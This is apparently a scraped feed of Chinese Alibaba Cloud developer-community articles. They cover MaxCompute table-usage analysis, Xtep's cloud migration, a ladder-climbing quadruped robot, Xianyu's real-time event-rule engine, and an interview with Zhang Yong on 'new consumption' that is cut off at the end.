        为了帮助卖家成交,闲鱼工程师做了些什么? | 开发者必读(111期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        为了帮助卖家成交,闲鱼工程师做了些什么?

        闲鱼是一个C2C平台,提高卖家活跃度不仅有利于成交的提升,对于用户增长也有积极意义。而其中的关键点就在于其成交的效率。而个人卖家由于其专业程度不如专业卖家,成交效率往往并不高。我们希望可以实现两个提升:
        能帮助卖家提高其成交效率。

        可以快速的接入新的场景。

        通过对线上数据进行分析,我们发现一些有趣的现象,比如:使用真人头像的卖家,会有更多的用户访问其主页或商品(潜在的流量来源);回复积极的卖家更易成交;距离越近/信息越丰富的商品也更易售出。


        最强干货

        深度学习还是类脑计算?平头哥领衔全球专家研讨人工智能发展前景

        11月24日,IEEE CASS-SH Artificial Intelligence For Industry Forum在阿里巴巴上海研究中心召开。本次会议是IEEE电路与系统协会(CASS)首次在亚洲举办的学术产业论坛,由阿里巴巴达摩院、平头哥半导体有限公司、以及上海交通大学联合承办。吸引来自海内外顶尖高校师生及产业界专家共计150余人到场,就AI未来技术趋势展开深入的交流。

        阿里科学家再获世界级荣誉,平头哥首席科学家谢源当选AAASFellow

        11月27日,美国科学促进会(AAAS)公布了2019年度会士(Fellow)增选结果,阿里巴巴平头哥首席科学家、达摩院高级研究员谢源当选,这也是信息、计算和通信领域新当选的24名Fellow之一,一同入选的还有计算机体系结构顶级专家Norman Jouppi等人。

        跑得好好的Java进程,怎么突然就瘫痪了?

        Java能成为应用最广泛的语言,和他的内存托管机制是分不开的。很多人眼中,Java虚拟机是透明的,只需知道核心api的用法,便可以专注于实现具体业务,然后依赖Java虚拟机运行甚至优化应用。

        你是否有过这样的经历,跑得好好的Java进程,突然就瘫痪了。过于依赖Java虚拟机导致我们对问题无从下手,问题反复出现影响开发效率。其实,多数Java进程瘫痪的原因可以从java虚拟机层面找到原因,本文列举出导致Java进程瘫痪的一些共性原因,供大家交流和学习。


        每天读本书

        重磅发布 | 《不一样的 双11 技术,阿里巴巴经济体云原生实践》电子书开放下载

        2019 双11,订单创新峰值达到 54.4 万笔/秒,单日数据处理量达到 970PB,面对世界级流量洪峰,今年的阿里巴巴交出了一份亮眼的云原生技术成绩单,并实现了100% 核心应用以云原生的方式上云:双11 基础设施 100% 上云支撑 双11 在线业务容器规模达到 200 万采用神龙弹性裸金属服务器计算性价比提升 20% 这些数据背后是对一个个技术问题的反复尝试与实践。


        精品公开课

        从双11看物流数智化升级

        双11不仅是商家和消费者的节日,也是物流企业升级迭代的重要时点。
        数智化能力竞争成为物流发展的强有力推手,此次直播聚焦物流数智化升级在双11中的体
        现,从快递、快运企业到智能科技企业都纷纷拿出看家本领,让我们一同见证…


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        基于MaxCompute InformationSchema进行冷门表热门表访问分析 Fri, 02 May 2025 09:39:04 +0800 一、需求场景分析
        在实际的数据平台运营管理过程中,数据表的规模往往随着更多业务数据的接入以及数据应用的建设而逐渐增长到非常大的规模,数据管理人员往往希望能够利用元数据的分析来更好地掌握不同数据表的使用情况,从而优化数据模型。
        一个MaxCompute项目中经常使用的表简称为热门表,使用次数较少或者很长时间不使用的表简称为冷门表,本文将介绍如何去通过MaxCompute元数据信息去分析热门表和冷门表。
        二、方案设计思路
        MaxCompute Information_Schema提供了项目中全量的表元数据信息Tables以及包含访问表的作业明细数据tasks_history,通过汇总各个表被作业访问的次数可以获知不同表被作业使用的频度。
        详细步骤如下:
        1、热门数据通过获取tasks_history表里的input_tables字段的详细信息,然后通过count统计一定时间分区内的各个表使用次数
        2、冷门数据通过tables和tasks_history里的input_tables表的作业汇总数量进行关联、排序,从而统计出各张表在规定时间内的使用次数,正序排列
        三、方案实现方法
        1、获取tasks_history表里的input_tables字段的详细信息。如下图所示:
        1

        查询数据的结果如下图所示:
        1
        发现在tasks_history表中input_tables字段格式为
        ["lightning.customer","lightning.orders_delta"]
        所以在统计的时候需要对字段进行按逗号分割
        注意:案例中的时间分区可以根据需求去调整范围,区间根据实际场景去做相应的调整
        例如:Ds>='20190902' and Ds<='20190905'
        函数处理如下:
        1

        处理结果如下图:
        1

        2、统计热门表数据SQL编写:
        1

        结果如下图所示:
        1

        3、统计冷门表数据SQL编写:
        通过tables和tasks_history里的input_tables表的作业汇总数量进行关联、排序,从而统计出各张表在规定时间内的使用次数,正序排列。
        1

        结果如下所示:
        1
        1
        所有的表按照使用次数进行排序
        即可得到各个表的使用次数排序信息。从而去进行合理化的管理数据表。
        注意:SQL中的” your_project_name.”为表名前缀,客户需要参照自己的实际数据去做相应的修改调整。

        欢迎加入“MaxCompute开发者社区2群”,点击链接申请加入或扫描二维码
        https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        1

        ]]>
        全渠道数字化转型历程 Fri, 02 May 2025 09:39:04 +0800 一、 背景篇:
        到2020年,特步集团在企业信息化道路上分为4个阶段,第一阶段是单应用建设阶段,这个阶段IT最弱的,系统覆盖率最低;在第二阶段是大规模建设系统阶段,这个阶段IT团队人最多。核心主要以外部供应商为主,内部没有研发团队,在这个阶段产生了很多技术架构不一样的信息系统孤岛;所以在第三阶段,是整合集成,企业服务总线引入,可是因为信息孤岛技术不统一,集成整合难度非常大,而且整合效果不明显,信息化发展在这个阶段是具有很大瓶颈。
        在2015年因为行业发生翻天腹地的变化,运动品牌零售竞争也越来越激烈,也受到云计算、移动互联网、大数据等新型技术的影响,公司业务和组织进行了深度变革,倒逼IT信息系统必须进行全面整改和升级,否则很难支撑到现有业务,甚至是未来5年的企业战略。
        历史.jpg
        当然形势最严峻是整个营销系统,两个技术问题像两座大山。一是软件供应商本身战略发生转型,没有能力维护特步现有的系统,二是新零售相关的业务无法快速支撑,以及在数据分析、财务管控、多品牌方面无法满足业务要求。在当时时间非常紧迫的情况下,必须得解决方案!我们花了一个月的时间进行技术选型,但在行业里并没有一套成熟的基于互联网的,又能快速支撑新零售业务的全渠道系统。于是CIO选择基于阿里提供的中间件---基于SOA服务架构重构现有的系统。
        应用复杂.jpg
        二、 建设篇:
        2016年9月,我们正式启动特步全渠道分销零售系统,业务范围锁定线下商品流通的整条线,以商品从集团发出为起点,到分公司、经销商、门店,最后销售给消费者,按业务领域进行划分与设计,全部以中台架构来实现。
        服务中心.jpg
        渠道中心:管理渠道档案,仓库档案等所有基础档案设置;
        商品中心:管理销售商品的所有维度,商品分类,零售促销方案和活动;
        订单中心:管理所有客户订单,分销订单,零售小票等;
        库存中心:管理商品的进出存;
        会员中心:管理会员基础档案,标签维护,积分,会员活动等;
        在后端,结合阿里提供的私有化中间件EDAS、MQ、DRDS等作为基础支撑平台,应用层采用SOA微服务架构进行研发,各个中心在应用层可以互相共享调用,在跨中心数据协同采用了分布式事务处理。
        服务调用.jpg
        为了能在“全渠道分销零售项目”中产出更多的业务价值,在2017年3月还同步启动了“全渠道O2O中台项目”,也是基于现有的基础构建,规划在2017年双11前能上线,“全渠道O2O中台”核心就解决两个任务,一是订单适配到分公司再到门店,二是库存实时共享到线上渠道。
        O2O.jpg
        2017年5月,全渠道分销零售系统开始在第一家分公司做试点推广,困难重重、系统不稳定、功能不完善等问题非常多,经过2个月的磨合,平台才基本稳定下来,具备进行推广的条件。
        三、 推广篇:
        2017年8月份,全渠道分销零售系统开始全面推广,组织培训、人员辅导、全国巡演等等,一系列的实施推广活动全面展开。9月份已经实施到50%,然后系统出现了瓶颈,各种卡顿而且互相影响,出有冲突,根本原因是整个系统的架构设计存在巨大漏洞,没有做到应用分离、服务中心分离、业务操作与查询分离以及对阿里中间件的认识不够深刻。如何更好地利用阿里中间件?经过一系列的讨论和交流,进行技术架构的优化,系统终于稳定下来。
        同时全渠道O2O项目如火如荼地进行,也按时在双11前上线,并再双11取得不错的效果。
        推广.jpg
        O2O业绩.jpg
        四、 深化篇:
        2016年9月到2018年03月,特步全渠道分销零售系统在全国7000家门店全面实施完毕。同期特步儿童的2000家门店也全部上线,业务中台此时发挥了巨大价值。业务在持续不断的变革中,SOA服务化的业务颗粒很好地进行松散耦合地组合、封装、共享,不再重复建设相同的模块。于是2018年CIO考虑为了支撑企业战略,制定了2018年的IT经营计划,全面深化业务中台范围,扩大软件开发团队,提升IT整体水平,以前我们把自己定位是系统的搬运工,现在我们要做系统的建设者,要与业务部门一起共创、共建,能输出更具有业务价值的系统或工具提供给业务部门。
        规划.jpg
        在业务中台建设过程中,各个业务服务中心也在不停的迭代优化,由原先的单一服务能力,逐渐成长多服务能力的服务中心。
        迭代.jpg
        五、 迁云篇:
        基于SOA微服务架构的,基于阿里中间件平台的全渠道系列应用到2019年年底已经发展到10多个应用,包含全渠道分销零售、全渠道WMS、全渠道HR、全渠道会员中台、全渠道店铺管理等,覆盖面基本把营销系统下的所有业务场景都覆盖到了,但是应用的稳定性有待提升;阿里中间件平台本身是一套非常复杂的、互相之间有依赖的产品,在私有云部署环境中,依赖非常多的元素,比如内存、机房温度、存储等,只要有哪个因素不稳定,会导致整个全渠道系列应用的稳定性急速下降。另外在私有云环境中很难做到软件应用与IAAS层进行完美融合;同时在业务方面,没有发挥中间件平台的服务能力为业务创造更高更深的价值,比如利用分布式计算技术,计算大规模的预算;利用全文搜索加快数据的查询效率;于是为了提升应用系统的稳定性,为了更多的业务创新,从2019年3月份,特步开始启动私有云迁移公有云项目。
        私有云迁移公有云,这几个简单的字。做起来不是那么简单,经过梳理,特步业务中台构建到现在显得无比庞大。
        迁云架构.jpg

        迁移项目有几项核心任务:一是现有系统改造Docker化;二是现有业务数据库迁移(这个风险最大);三是搭建运维监控体系。
        迁云步骤.jpg

        2019年11月17号晚上,特步全渠道系列应用全面迁云成功,迁移过程非常顺利,从整个项目来看主要有如下几点价值体现:
        1.充分利用云计算、大数据等新技术构建灵活可拓展的基础设施与架构,以应对快速的业务需求变化;
        2.利用云上成熟的PaaS,SaaS服务以及先进的行业经验来拓展零售的组合能力;
        3.基于全方位防护、完善的云端纵深防御、线上线下一体化、全生命服务周期为设计理念,通过云上的安全产品和专家服务为客户的“系统-业务-内容”提供一体化的安全解决方案。
        4.通过云上大数据平台的构建实现库存预测、智能补货,打造柔性供应链,最终实现新零售去库存,加速商品社会化流通的进程。
        5.云原生的架构体系能更好的支持业务的不断试错和创新。

        ]]>
        有一条“机器狗”比狗还灵巧,了解一下? Fri, 02 May 2025 09:39:04 +0800

        image

        原文标题:“机器狗”比狗还灵巧:一口气爬90°直梯不在话下,了解一下?

        大数据文摘出品
        来源:IEEE
        编译:大萌、牛婉杨

        点开文章,会不会以为波士顿动力又搞新事情了?其实并没有。

        近来,各研究团队对足式机器人的研究可谓层出不穷。前两天文摘菌还发布了一篇关于“蜈蚣”机器人的文章,走一走、跳一跳都难不倒它。而今天这篇文章中神似波士顿动力的机器狗,做到了一些狗狗都难以做到的事情。

        当我们看到四足机器人时,很自然的会与我们熟悉的四足动物(如猫和狗)相比较。随着近几年的发展,四足机器人在某些极特殊情况下的能力已经接近四足动物了,比如走路不摔跤。为了使机器人能够达到生物学的黄金标准,人们花了很长时间才让四足机器人学会所有动物能做的事情。

        但是,机器人并不会被生物学所限制,这意味着机器人有潜力学习动物做不了的事情。在不久前举办的2019年IROS大会上,就展示了一个能爬垂直梯子的四足机器人。

        image


        图源:东京都立大学

        为使机器人拥有自主攀爬的能力,研究团队使用了循环神经网络(RNN)来训练其爬梯子。但这个能力目前只能针对特定的梯子,他们打算在接下来的研究中实现这一系统的普适化,让机器人不需要预先训练就可以攀爬新的梯子。

        谷歌的搜索结果显示爬垂直梯子对于四足动物是很困难的。狗能够做到,但你通常看到的都是狗在爬倾斜的梯子,而不是垂直的。猫能做的更好一些,但是爬垂直的梯子仍然是个挑战,尤其是在爪子抓不牢的情况下。当梯子的倾角减小为0度时,攀爬者的质心就越来越远离梯阶,因此攀爬者必须通过抓紧梯阶而不是站在上面来平衡自身重量,这对于抓力不强的动物是十分困难的。

        image


        图源:东京都立大学

        为爬90°直梯,研究人员也是操碎了心

        为了实现爬梯子的功能,机器人的面部安装了惯性测量装置(IMU)和ToF 3D相机,爪子上安装了触摸传感器和力量传感器。英特尔NUC计算机充当主控制系统,而Arduino被用作辅助控制器来管理内部传感器(力度,触感和IMU)的输入输出信号。机器人具有23个自由度(DoF):每条腿有5个自由度,双激光测距传感器有2个自由度,头部有1个自由度。

        大多数四足机器人也不具备强大的抓力,但给机器人增加抓力系统是一个可以尝试的方向。东京都立大学的机器人专家制造了一个可爱的小四足机器人(约重7公斤),它的腿有5个自由度,其中一个爪子可以做到与其它爪子方向不同(就像我们的大拇指与其它四指一样),可帮助其自主爬上无扶手的垂直梯子。

        另外,从梯子爬到平台上也是很困难的。研究团队巧妙的解决了如何让机器人用后腿抓住最上面的梯级,再通过反作用力把自己推到平台上这一问题。

        值得注意的是,这一自动攀爬系统是针对指定梯子训练的,并且用了五次才成功。研究团队表明,失败是由于执行器缺少扭矩而不是整体方法的问题。这一点他们会在之后的工作中改进,并使这个系统更加普适,让四足机器人能够不用训练就可以攀爬新的梯子。

        相关链接:
        https://spectrum.ieee.org/automaton/robotics/robotics-hardware/quadruped-robots-can-climb-ladders-now

        原文发布时间:2019-11-23
        本文作者:编译:大萌、牛婉杨
        本文来自云栖社区合作伙伴“大数据文摘”,了解相关信息可以关注“大数据文摘

        ]]>
        双十一|又快又稳!闲鱼实时事件规则计算驱动平台 Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术——兰昊

        闲鱼双十一金鳞抽奖玩法

        相信今年在11月7日-11月11日期间使用过闲鱼的用户,可能已经被如下图所示的幸运海星“砸”到过了。只要用户进入到指定的几个页面,或者在某些指定的页面有点击行为,就会触发到这样一个幸运之星。这就是今年闲鱼双十一的金鳞项目中的玩法效果。该项目横跨了10多个业务,按之前传统做法是需要协调多个业务方参与进来一起开发。虽然其实现难度本身到不是那么难,但是沟通协作成本将会是非常之高。此外双十一过后,下线这些为了该玩法开发的代码又是一个工作量,而且还得安全地下线且不带有稳定性问题。
        TB1kdshnqL7gK0jSZFBXXXZZpXa-720-1559.png

        但是实际上,参与的业务仅仅只是补了几个缺失的点击埋点,剩下的工作就是与业务无关的poplayer弹层的开发以及与权益的对接,而各业务总投入的对接成本不到半天。这背后依靠的是一个基于标准DSL的实时事件规则计算驱动平台。下面就来讲述下该平台的起源与发展。

        起源于闲鱼的用户增长业务

        在年初时,我们在用户增长下做了多个实验,主要还是希望用户能在APP上多停留一会。当用户浏览时间越长,就越有可能发现闲鱼上还有很多有趣的内容,无论是商品宝贝还是鱼塘内的帖子。从而达到吸引用户下一次还能再回来的目的,进而促进了用户增长。其中两个实验如下:

        我们做的实验上线后大部分都取得了不错的业务效果,但是在过程中也暴露了两个问题:

        • 研发周期长。一开始,我们先用最快的实现方案来做,主要是为了快速验证规则策略的有效性,并没有做大而全的设计,每个需求都是case by case地写代码来实现。那么从开始开发真正能到上线,很可能就是三周,主要因为客户端发版是有窗口的。
        • 运营效率慢。因为上线慢,导致获取业务数据后再分析效果就很晚了,然后还要根据数据再去做调整那就更晚了。这样算下来,一年也上不了几个规则策略。

        工程化解法——基于事件流的规则引擎

        针对上述问题,我们先做了一层业务抽象。运营先通过对用户的各种行为进行一个分析和归类,得出一个共同的具体的规则,再将这个规则实时地作用到用户身上进行干预。

        针对这层业务抽象,我们再做了工程化,目的就是为了提升研发效率和运营效率。这样就有了第一个方案——基于事件流的规则引擎,我们认为用户的行为是一串顺序的行为事件流,使用一段简单的事件描述DSL,再结合输入和输出的定义,就可以完整地定义一个规则。

        以上述用户增长的第二个实验为例,如下图所示的DSL即可简单表达出来:

        规则引擎的局限性

        该规则引擎可以很好地解决之前用户增长业务下的几个策略,随后我们进行了内部推广,准备在闲鱼C2C安全业务下也落地。在C2C安全业务上有如下描述:

        在C2C安全业务上,也有一个看似是一个针对一系列行为作出的规则抽象,如下图所示:

        但是将上述规则套上规则引擎后,就会发现无法将安全的规则套上规则引擎。假设我们的详细规则是1分钟内被拉黑2次,就对该用户打上高危标记。那么我们想一想,当来了第一个拉黑事件后,匹配上了。然后紧接着来了第二个拉黑事件,也匹配上了。此时按照规则引擎的视角,条件已经满足了,可以进行下一步操作了。但是再仔细看一看规则,我们的规则是要被不同的用户拉黑,因为有可能是同一个用户操作了多次拉黑(同时多开设备)。而规则引擎上只知道匹配到了2次拉黑事件,对规则引擎来说已经满足了。却无法知道是否是不同人操作的。起根本原因是因为在规则引擎里,事件都是无状态的,无法回溯去做聚合计算。

        新的解决方案

        针对规则引擎的局限性,重新分析和梳理了我们的实际业务场景。并结合了业界知名的通用的解决方案后,设计出了新的方案,定义了新的DSL。可以看到,我们的语法是类SQL的,主要有以下几个考虑:

        • SQL已经是语义完备的编程语言,不用再去做额外的语法设计。
        • SQL是一门很简单的语言,不需要花太多时间就可以掌握。
        • 我们闲鱼的运营同学会写SQL,这样会让上线效率更快。


        新的DSL方案与之前的规则引擎相比主要有以下几个增强:

        • 增加了条件表达式。可以支持更丰富更复杂的事件描述,也就能支撑更多的业务场景。
        • 增加了时间表达式。通过WITHIN关键字,定义了一个时间窗口。通过HAVING之后跟的DISTINCT等关键字,就可以针对时间窗口内的事件进行聚合计算。使用新的方案,就可以很好地解决上述C2C业务上的规则描述问题。
        • 扩展性强。遵循了业界标准,与具体业务的输入和输出无关,便于推广。

        针对之前的C2C业务上的规则描述问题,使用新方案的例子如下:

        整体分层架构

        基于这套用EPL(Event Programming Language)写出的DSL,为了做好工程化,我们做了如下的整体分层架构。为了快速实现最小闭环验证效果,我们选择先基于Blink(Blink是阿里对Flink的内部优化和升级)做云上的解析和计算引擎。

        在这个分层架构里,至上而下分别是:

        • 业务应用。在这里是我们整个系统的业务方,已经在多个业务场景下做了落地。
        • 任务投放。这里是对业务应用层提供DSL声明和投放的能力,能可以做简单的圈人,以及与用户触达模块的关联。
        • 用户触达。这个模块用于接收来EPL引擎计算的结果,根据关联的Action来实施动作。同时这个模块也可以独立对业务应用提供服务,即各个业务方可以拥有自己的逻辑,通过用户触达模块来触达用户。
        • EPL引擎。目前已经实现了云上的解析和结算。用于接收来自任务投放里声明的DSL,再去解析和运行在Blink上。
        • 事件采集。负责通过服务端日志和行为打点里采集行为事件,并归一化地输出给EPL引擎。

        事件采集

        通过切面的方式拦截所有的网络请求和行为打点,再记录到服务端日志流里。同时通过一个事实任务对事件流进行清洗,按前面定义的格式清洗出我们想要的事件。再将清洗后的日志输出到另一个日志流里,供EPL引擎来读取。

        DSL实现

        由于我们采取了类SQL语法,而Calcite是业界通用的解析SQL的工具,因此我们采用Calcite并通过自定义其中的parser来解析。如果是单一事件的DSL,则会解析成Flink SQL。如果是多事件的DSL,则会解析后通过直接调用Blink的API接口的方式来实现。

        用户触达

        当EPL引擎计算出结果之后,会输出给用户触达模块。首先会进行一个Action路由,最终决策出需要由具体哪一个Action来响应,最后通过与客户端之间的长连接将Action下发到端上。端上收到具体的Action后,会先判断当前用户的行为是否允许展示该Action。如果可以的话,就直接执行Action的具体内容,曝光给用户。用户看到这次响应后会有相应的行为,那么这部分的行为会影响到Action路由,对这次的路由的做出一个反馈。

        落地业务

        新方案上线后,我们就在越来越多的业务场景里进行了落地。这里列举2个例子:


        在上述鱼塘的例子里,可以看出来,我们这套方案已经有了一点算法推荐的影子了。而在上述租房的例子里,由于规则过于复杂,用DSL表达起来很麻烦,所以就做成只采集4次浏览不同租房宝贝的规则,即触发后,就将这里的数据都给到租房的具体开发的业务方,这也是我们在落地过程中摸到的边界。

        结论

        使用这一套完整方案,研发效率上有了很大的提升。原先通过写代码case by case的方式一般要4个工作日完成整个研发流程,极端情况下需要跟客户端版本则需要2-3周的时间。现在通过写SQL的方式跑在这套方案上一般要0.5个工作日即可。此外,这套方案还有如下几个优势:

        • 高性能。在双十一期间,事件采集器rt稳定在2s内,EPL引擎计算任务稳定在1秒左右,整条链路从采集到触达平均耗时5秒。
        • 高可靠。依托于Blink的高可靠性,承载了双11每天上亿级的流量,整体稳定且无抖动。

        通过在多个业务的落地实践,我们也摸索出来这套方案的适用边界:

        • 对实时性要求高
        • 强运营主导规则
        • 简单SQL能表达

        未来规划

        当前整套方案还有如下几个问题:

        • 整条链路计算完毕平均需要5秒左右。如果放到对实时性要求更高的任务场景下时,在用户体验上就无法满足了。
        • 闲鱼当前DAU已经稳定在2000W以上,且已连续3年电商版块增速最高。如果所有计算依然全部放在云上,则对云上的算力消耗是个极大的挑战。
        • 目前我们的设计上,是没有算法接入的,只有简单的圈人。而为了让规则的投放更加精准,进而提升规则对用户的有效性,是需要与算法结合的。

        因此综上,我们未来的规划将会聚焦于端侧实时计算能力的挖掘和算法能力的结合上。其中端侧能力的挖掘,我们已经和集团端智能团队在一起共建BehaviR框架,未来会有新的产出,大家可以期待我们的落地实践。

        ]]>
        阿里巴巴张勇:中国正在进入“新消费时代” Fri, 02 May 2025 09:39:04 +0800 2019年9月10日晚间,阿里巴巴董事局主席马云正式宣布卸任,已在阿里巴巴集团任职12年并担任4年阿里巴巴CEO的张勇正式接任阿里巴巴集团董事局主席。

        今年双11,天猫成交额再次刷新纪录。作为双11的缔造者,张勇接受新京报记者专访,张勇表示,中国正在进入“新消费时代”,双11背后真正的力量,正是中国新消费崛起的力量。在张勇看来,新消费的爆发是今年双11创新纪录的重要动力,95后、50后和小镇青年,正在成为消费的生力军。而对于政府倡导夜间经济,张勇认为,“夜经济”背后正是新商业活力的体现。

        未来经济的增长动能在哪里?他坚信,数字化没有国界,而且是大势所趋。对于任何一个国家和地区,未来经济的增长动能,本质上来自创新和数字化的驱动。中国未来经济的增长一定是消费驱动、体验驱动。

        新消费的爆发是今年双11创新纪录的重要动力

        新京报:刚刚过去的双11,被称为观察中国经济的一个绝佳窗口,今年的双11交易额再创新高。据你观察,这次购物狂欢反映了消费的哪些新动向、新趋势?

        张勇:这已经是阿里巴巴的第11个双11。11年来,双11已经成为一个广泛的经济和社会现象,见证和经历了中国商业领域的大变革、大爆发。每一年的双11,我们都能看到中国消费者、品牌和商家经历一次新的洗礼。每年“双11”我们一再挑战峰值,但是一路看过来,目前的峰值在未来两到三年以内,就将成为常态。

        11年之后,中国正在进入“新消费时代”。双11背后真正的力量,正是中国新消费崛起的力量。为什么有这么多企业愿意全身心参与其中?正是因为品牌和商家看到了市场,看到了机会,看到了新消费的力量。新消费的核心驱动力正是创新。新消费深刻重构了人、货、场,驱动了前所未有的商业数字化变革。这样的变革,发掘了商业新人口,创造了商业新供给,带来了商业新行为。未来的双11必须要做到的正是创新,创新是不变的关键词。

        新京报:我们注意到这次双11阿里在下沉市场、新品等方面提出了很多新的战略,阿里巴巴是如何制定出这些战略?这些战略的出台背景是否与新消费有关?

        张勇:所有这些新战略和新洞察,本质上都是我们看到了新消费时代带来的历史机遇。

        可能很多人知道,双11最早的诞生,是为了解决“生存”问题。当时的淘宝商城刚刚诞生,我们想做一个活动,让更多人来记住我们。如今11年过去了,双11对品牌来说,早已不是一个处理尾货的选择。双11的成交额也从2009年的5200万美元激增到2019年的2684亿。今年的双11,超过299个品牌当天销售过亿。这正是一天之内爆发的强劲商业力量。

        作为新消费的重要象征和表现,新品已经成为品牌实现增长、寻求增量的核心砝码。可以说,天猫双11已经渐渐取代西方传统圣诞节,成为全世界品牌最重视的新品首发节点。我在这里简单分享一些数字。超一半的美妆大牌打破惯例,改变了新品发布节奏,把圣诞礼盒提前到天猫双11发布。

        下沉市场的爆发,本质上也是希望实现供给和需求能够更完美匹配,下沉市场的积极参与,也是今年天猫双11再创新纪录的重要动力,背后是中国内需的巨大爆发力。一系列国产品牌在今年双11有超过60%订单来自下沉市场,一大批国际大牌商品打破圈层壁垒,正在加速走进小镇青年的家中。我们的传统业务聚划算通过定制款货品的供给,深度触达下沉市场。

        新京报:你怎么理解新消费?它与以往的消费有何不同?

        张勇:新供给创造所带来的新消费,绝对不只是原有消费的数字化,而是真正带来了新的消费增量。双11的2684亿元见证了新消费的崛起,背后是阿里巴巴数字经济体合力创造性满足消费者的需求,而背后是万千企业的增长。“新消费”正是以多元化供给和新的消费场景,调动了消费者最广泛的参与,也成功服务了更多的人。

        还是和你分享一些这一次双11的发现。我们发现有三个人群——95后、50后和小镇青年,正在成为消费的生力军。这背后本质上是我们的平台能够更好地洞察这些人的潜在需求,激发了他们此前并不具备的消费潜力。这正是新消费的力量。它不仅通过更高效的匹配满足了人们的潜在需求,更多是创造了新的增量,拓宽了消费的边界和可能。新消费的核心不在于需求,需求一直都在那儿,而在于供给侧,在于我们能不能很好地满足需求,创造需求。有些产品可能几年前都不存在,但是今天变成大家生活的必需品,这正是新供给带来的新消费。

        中国未来经济的增长一定是消费驱动、体验驱动

        新京报:从新零售到新消费,是否反映了中国经济发展的新动能在转变?

        张勇:过去20年来,阿里巴巴很幸运地诞生和成长在中国这个世界上最大的消费市场。三年前我们提出了新零售,如今已经成为广泛的社会共识,从新零售到新消费,背后正是数字化所带来的巨大能量。中国目前社会零售总额达到38万亿,可以说,未来这38万亿都将会被完全的数字化,这当中所蕴藏的机会和潜力将是非常惊人的。

        我们坚信,中国未来经济的增长一定是消费驱动、体验驱动。中国现在大概有3亿中产,5年之内,这个数字将会翻番。中国非常大的另一特点则是,一半以上的人口在农村。只有农村农民生活得好了,整个中国社会才真正走上一个新的阶段。过去一年阿里平台上净增一亿消费者,其中绝大多数是农村的消费者。如何更好地满足和创造更广大消费人群的需求,未来依然有巨大增量空间。

        新京报:在你看来,未来经济的增长动能在哪里?

        张勇:我还是坚信,数字化没有国界,而且是大势所趋。对于任何一个国家和地区,未来经济的增长动能,本质上来自创新和数字化的驱动。只有不断往前创新,经济才会有活力和生命力。只有不断挑战自我,商业力量才会真正凝聚起来。

        新京报:9月10日,你在阿里巴巴20周年年会上宣布:“未来五年,阿里巴巴服务全球超过10亿消费者,实现超过10万亿元以上的消费规模。”如何实现这个阶段目标?

        张勇:要更好地实现这一5年内的近期目标,关键要继续践行阿里巴巴的三大战略——内需、全球化、云计算和大数据,同时要不断建设阿里巴巴商业操作系统,为商家和品牌提供一整套数字化能力,来帮助更多企业和品牌在数字经济时代完成全面的数字化转型。阿里商业操作系统不是一种工具的输出,而是一种能力和理念的分享,是一种创造。

        所有这些努力,也是为了我们更长远的目标——到2036年,阿里巴巴希望服务20亿消费者,创造1亿就业机会,帮助1000万家中小企业盈利,不断打下坚实的基础。作为数字经济时代的基础设施,我们希望通过更多的分享,能够更好地助力中国数字经济发展,让更多人享受数字经济的红利。

        新京报:阿里巴巴提出五新战略也有一段时间了,我们看到了新零售的落地,你怎么评价盒马、银泰以及众多阿里巴巴线下实体的发展?未来这些将怎样与天猫和淘宝结合?

        张勇:三年前,马老师首次在云栖大会上提出了“五新”,新零售、新制造、新金融、新技术、新能源。发展到今天,“五新”已经成为了“百新”、“万新”,背后的共同点,正是各行各业都在全方位走向数字化和智能化。从“五新”到“百新”,中国经济和消费图景也在发生巨大变化。

        在数字化驱动和承载的新经济和新社会当中,一切都在被重新定义。无论是线上线下,我们面对的都是同一群消费者,一群被完全数字化了的消费者,线上线下是同一个世界,数字化是同一个梦想。

        每个人、每个企业、每个社会元素未来都会变成一个数字化的ID。中国消费者特别是年轻人,他们在这样一个新的数字化时代长大,他们喜欢消费,希望有更好的生活方式。阿里巴巴会继续朝着这个方向创新。

        新京报:新零售之外,新制造、新技术等,阿里巴巴会在明年进一步加强吗?他们对新消费的意义是什么?会怎样组合?

        张勇:今天所有客户都在讨论“全球增长看中国、中国增长看线上、线上增长看阿里”,我们要去想“如何跟客户对话”,如何能够让我们的客户看到他没有看到的未来。基于这样的思考,从新零售、新制造、新技术等多个维度,寻找面向未来的增长机会。

        面向未来增长,我们要真正找到属于我们自己的平台优势。做平台,第一要有硬实力,对未来看得更远、看得更深,抓增量机会,才能构架面向未来的平台。第二,做平台要有利他之心。为了成就他人,帮助我们的商家更好地服务消费者,这是我们今天做平台需要的初心和出发点。

        谈收购网易考拉:全球化是阿里长期的重要战略

        新京报:阿里巴巴历史上多次将天猫和淘宝分合,这些组织架构的调整都有一定的原因。如今蒋凡统一管理这两块业务,这是基于什么考量?

        张勇:淘宝天猫生态的进一步打通,正是为了共同创造新消费。淘宝天猫本质上面对的都是同一群消费者,同一批客户群体。淘宝已经成为中国最大、最完整的消费生活社区,天猫则成为全球最大品牌聚集地。在阿里经济体的大生态中,淘宝天猫早已你中有我我中有你,在中国新消费浪潮中,共同成为创造中国新消费新的动力之源。

        我们在内部经常说,一张图,一颗心,一场仗。这样的组织调整,本质上是为了让我们更好地服务中国的7亿消费者,更大程度激发经济体内部的活力。

        新京报:对于未来,阿里巴巴会有新的收购计划补充目前的经济体吗?在你看来阿里巴巴“动物园”还需要添加什么?考拉的收购是意外惊喜,还是筹谋已久?

        张勇:阿里的投资是多元化的,并非全部是收购,有大量投资是参股。但在重要的战略项目上,我们选择了收购。在我看来,如果想发生化学变化,就必须要打通血脉。我们会不断面向未来,寻找和探索更创新、更好代表和引领未来的新商业机会。

        新京报:考拉的收购是意外惊喜,还是筹谋已久?

        张勇:关于考拉,在刚刚结束的进博会上,大家应该也感受到了中国消费者对于进口商品的热情。对阿里来讲,我们今天已经服务了中国国内七亿消费者,当然我们也在走向全球化,全球化是阿里长期的重要战略。对中国的七亿消费者来讲,我们做的事情非常直接,就是怎么样能够跟我们的商家,合作伙伴一起,把全国全世界最好的商品、最好的服务,通过这个数字化的平台能够到中国的消费者手里去,让他们能够体验和消费到。

        “夜经济”背后正是新商业活力的体现

